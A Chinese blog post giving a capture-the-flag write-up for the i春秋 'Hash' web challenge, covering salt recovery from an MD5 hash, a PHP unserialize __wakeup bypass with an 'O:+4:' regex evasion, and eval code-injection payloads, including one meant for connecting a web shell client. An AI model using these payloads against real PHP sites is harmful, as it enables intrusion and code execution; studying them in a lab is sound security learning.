CTF-i春秋-Web-Hash

2020.09.17

哈哈,我又来了 i春秋

做题

Hash

  1. 打开链接,出现一个超链接,点进去,源码中出现线索you are 123;if you are not 123,you can get the flag<br><!--$hash=md5($sign.$key);the length of $sign is 8
  2. 思路很简单,url是由key和hash组成,hash值是取自sign+key,我们现在知道key是123,对已知的hash进行破解,得到kkkkkk01123,所以sign是kkkkkk01
  3. 那么我们构造key=admin,再取kkkkkk01admin的md5为049f601185c0846faac45065a834b1c5,新的payload./index.php?key=admin&hash=049f601185c0846faac45065a834b1c5 ,OK,结果如下next step is Gu3ss_m3_h2h2.php

  4. 直接访问就可,接下来就是源码分析
 <?php
class Demo {
    private $file = 'Gu3ss_m3_h2h2.php';

    public function __construct($file) {
        $this->file = $file;
    }

    function __destruct() {
        echo @highlight_file($this->file, true);
    }

    function __wakeup() {
        if ($this->file != 'Gu3ss_m3_h2h2.php') {
            //the secret is in the f15g_1s_here.php
            $this->file = 'Gu3ss_m3_h2h2.php';
        }
    }
}

if (isset($_GET['var'])) {
    $var = base64_decode($_GET['var']);
    if (preg_match('/[oc]:\d+:/i', $var)) {
        die('stop hacking!');
    } else {

        @unserialize($var);
    }
} else {
    highlight_file("Gu3ss_m3_h2h2.php");
}
?> 
  1. 从代码我们可以看到,传入var值,先进行过滤,然后反序列化,对我比较有用的wp,这里利用的就是反序列化时,修改序列化个数来对__wakeup()方法进行绕过,通过如下php可以构造payload
<?php
//类定义
class Demo {
            private $file = 'Gu3ss_m3_h2h2.php';

            public function __construct($file) {
                $this->file = $file;
            }
            function __destruct() {
                echo @highlight_file($this->file, true);
            }
            function __wakeup() {
                if ($this->file != 'Gu3ss_m3_h2h2.php') {
                    //the secret is in the f15g_1s_here.php
                    $this->file = 'Gu3ss_m3_h2h2.php';
                }
            }
}
//新建类
$a = new Demo('f15g_1s_here.php');
// $a = new Demo('True_F1ag_i3_Here_233.php');
//序列化
$s = serialize($a);
//替换类开头如果匹配
$s = str_replace('O:4:','O:+4:',$s);
//替换类数量绕过__wakeup()函数
$s = str_replace(':1:',':2:',$s);
//base64加密并输出
echo base64_encode($s);

可得构造的payload Gu3ss_m3_h2h2.php?var=TzorNDoiRGVtbyI6ODp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==

  1. 然后就得到f15g_1s_here.php文件源码,再次分析,这里利用的是eval语句,思路是通过eval获取存储flag的文件,这里有多种方法
    • 构造出POST的传入点,用菜刀连接主机后拿flag,payload: http://8a03ab0784034c4d950bfeff74d497dd61f047cf6f784a40.changame.ichunqiu.com/f15g_1s_here.php?val=${eval($_POST[a])}
    • GET方法的利用,payload: http://8a03ab0784034c4d950bfeff74d497dd61f047cf6f784a40.changame.ichunqiu.com/f15g_1s_here.php?val=${eval($_GET[a])}&a=echo ls;
    • 获取到真正的文件是True_F1ag_i3_Here_233.php,再利用第5步中的方法构造payload,输出flag
 <?php
if (isset($_GET['val'])) {
    $val = $_GET['val'];
    eval('$value="' . addslashes($val) . '";'); //对一些符号进行转义,所以不能输入引号等符号
} else {
    die('hahaha!');
}

?> 

经验教训

  1. 序列化与反序列化用@serialize($var)和 @unserialize($var);
  2. 反序列化的时候,如果有__wakeup()方法,会先运行他,最后运行__destruct()方法;
  3. 序列化的结果一般是O:4:"Demo":2:{s:10:"Demofile";s:16:"f15g_1s_here.php";}这种形式,{之前的是被序列化的个数,如果他的值大于真正的个数,那么__wakeup()方法将被绕过;
  4. 我可以在vscode中创建php文件,并且可以通过终端php decry.php来运行他,可以用这种方法来得到一些需要php中方法计算的payload;
  5. /[oc]:\d+:/i这个正则,匹配o:4,可以用o:+4来绕过
  6. addslashes()会对单双引号、反斜杠、NULL进行转义,eval('$value="' . addslashes($val) . '";');可以用val=${eval($_GET[a])}&a=echo ls;来绕过
posted @ 2020-09-17 21:44  乔悟空  阅读(337)  评论(0编辑  收藏  举报